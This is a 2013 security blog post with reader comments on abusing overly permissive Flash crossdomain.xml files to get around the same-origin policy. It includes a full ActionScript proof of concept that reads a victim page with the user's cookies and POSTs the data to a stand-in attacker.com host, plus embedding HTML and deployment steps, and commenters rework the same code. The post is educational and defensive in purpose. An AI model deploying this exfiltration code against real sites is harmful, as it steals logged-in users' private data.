Wednesday, August 28, 2013

Exploiting Insecure crossdomain.xml to Bypass Same Origin Policy (ActionScript PoC)


Adobe Flash is among the most popular browser plugins and also ships by default with a couple of popular web browsers. Its widespread prevalence has made it a frequent target of attacks and also been as a vector to launch attacks. One such attack vector is to use Flash for cross-domain data access.
In this blog post we will review at a known attack vector and create a Proof of Concept exploit to bypass browser’s Same-origin policy for websites that host an overly permissive cross-domain policy file.

Cross-domain Policy Files
Flash Player’s default security model enforces the same origin policy similar to contemporary browsers and does not allow cross domain data read operations. However, it can make exception to this rule and disregard its default security model if a website in question hosts a cross-domain policy file (named crossdomain.xml) to allow data access from other domains. Insecurely written cross-domain policy files can expose critical application data over the internet. The example policy file below shows once such example where the website opens itself to read access from every running instance of Flash Player.
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>



To understand the impact of such cross-domain policy file, let us consider a scenario where a bank website has such a policy file.
  1. A user logs on to the banking website.
  2. The user then visits another website in different browser tab and that website hosts a malicious Flash file to retrieve user information from the bank website.
  3. When the Flash Player notices an attempt to perform cross-domain read operation, it retrieves crossdomain.xml file from the bank website to discover the permitted operations.
  4. It then sends out a read request to a known bank URL that returns sensitive information like user bank account numbers, account balance etc…
  5. The browser adds user’s session cookies to the outgoing requests and since the user is logged in, the malicious Flash file is served with critical user information.
  6. The Flash file then passes it on to the malicious server.

The ActionScript exploit code
I wanted to demonstrate the impact of this vulnerability but could not find a Proof of Concept ActionScript code. After tinkering around with ActionScript and Apache Flex SDK, I had a working PoC which is provided below along with the HTML file that I used to embed the Flash file.
// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;


public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = "http://victim.com/supersecret";
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}


private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "http://attacker.com/store"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}
}



The following HTML file can be used to embed the flash file for delivery.
<html>
<object type="application/x-shockwave-flash" data="XDomainXploit.swf" width="1" height="1">
<param name="movie" value="XDomainXploit.swf" />
</object>
</html>



The code along with a README is also uploaded to GitHub repository which can be found here.

Compiling and deploying the ActionScript code
I used Apache Flex SDK to compile the ActionScript code and you can follow the below provided steps to get your exploit working.
  1. Download and install Apache Flex SDK that comes with an ActionScript compiler.
  2. Copy the ActionScript code to your local directory and name it XDomainXploit.as.
  3. Change the values of readFrom and sendTo parameters to appropriate values as per your needs.
  4. Compile the code with the mxmlc compiler to a Flash file by running the following command. The mxmlc compiler is shipped with Apache Flex.
mxmlc XDomainXploit.as
  1. Deploy the generated Swf and the provided HTML files to enjoy the Flash goodness.
Figure 1: Image shows ActionScript compile operation

Below you will see the exploit in action.


Figure 2: Image shows the sequence of requests during PoC execution

The code example above uses hard coded values for readFrom and sendTo parameters in ActionScript code but you can have Flash retrieve these fields from your HTML page using ActionScript’s ExternalInterface class or make the ActionScript to retrieve targets from your attack server at runtime.

Conclusion
Carefully analyze the proposed cross-domain application architecture from security perspective before deploying new or updated cross-domain policy files and make sure that exposure is minimal by not having overly permissive entries in your files. Consider reviewing the following two documents from Adobe that have extensive information on Adobe Flash Player security.

  1. Cross-domain policy file usage recommendations for Flash Player http://www.adobe.com/devnet/flashplayer/articles/cross_domain_policy.html

13 comments:

Malik Mesellem said...

Very nice article.

The attack, also the ActionScript code, is integrated in bWAPP (a buggy web application).

More info: www.itsecgames.com

Thanks Gursev!

Regards

Gursev Singh Kalra said...

Cool! Glad it was helpful.

Gursev

Anonymous said...

I am kind of lost after deploying the file, I launch the html file, which references the .swf file which has my target url. Does it matter which URL i put in the "SendTo:String= quotes?
I assume once i have the target url and the malicous html both loaded, i will see the data within what looks like fiddler, in your example? however i am seeing no data. Any advice would be appreciated! Thanks!

Gursev Singh Kalra said...

I don't think the URL should be an an issue, as long as it can be parsed.

Gursev Singh Kalra said...

@Anonymous if you can share your test configuration, maybe i can try to help

Anonymous said...

// Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as
// Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5
package {
import flash.display.Sprite;
import flash.events.*;
import flash.net.URLRequestMethod;
import flash.net.URLRequest;
import flash.net.URLLoader;


public class XDomainXploit extends Sprite {
public function XDomainXploit() {
// Target URL from where the data is to be retrieved
var readFrom:String = "TEST URL";
var readRequest:URLRequest = new URLRequest(readFrom);
var getLoader:URLLoader = new URLLoader();
getLoader.addEventListener(Event.COMPLETE, eventHandler);
try {
getLoader.load(readRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}


private function eventHandler(event:Event):void {
// URL to which retrieved data is to be sent
var sendTo:String = "RECIEVING URL"
var sendRequest:URLRequest = new URLRequest(sendTo);
sendRequest.method = URLRequestMethod.POST;
sendRequest.data = event.target.data;
var sendLoader:URLLoader = new URLLoader();
try {
sendLoader.load(sendRequest);
} catch (error:Error) {
trace("Error loading URL: " + error);
}
}
}
}



this is the XDomainXploit.as file I use, I then compile with the mxmlc in cmd prompt. I get a .swf file. I copied and pasted the html file into notepad, saved as a .html. load both the victim url and the html file in Internet Explorer, and while in fiddler, or any proxy I see no data similar to your screen shot

Anonymous said...

I think I may have answered my own question. when I load victim url and the malicious html file, I do get a

304 HTTPS www.targetURL.org /crossdomain.xml

GET /crossdomain.xml

in fiddler, with cookies, specifically a sfsession= (....) cookie. which is in line with your description on how this flash file works. however, this url is an unauthenticated page. so I do believe this vuln is not necessarily high risk. your thoughts?? Thank you for your time

Gursev Singh Kalra said...

You will agree that the risk is aggravated if the accessed page is available only to authenticated users. However, pre-auth pages can be accessed directly by anyone, so no information disclosure risk there.

Abeer Banerjee said...
This comment has been removed by the author.
Abeer Banerjee said...

Thanks Gursev. It worked

Gursev Singh Kalra said...

Great. Good to know that.

anonymous said...
This comment has been removed by the author.
Adam Davies said...

Great write-up. It's all too easy to miss stuff like this when developing a site, but the recent Ashley Madison hack shows how easily this can be leveraged to exfiltrate data!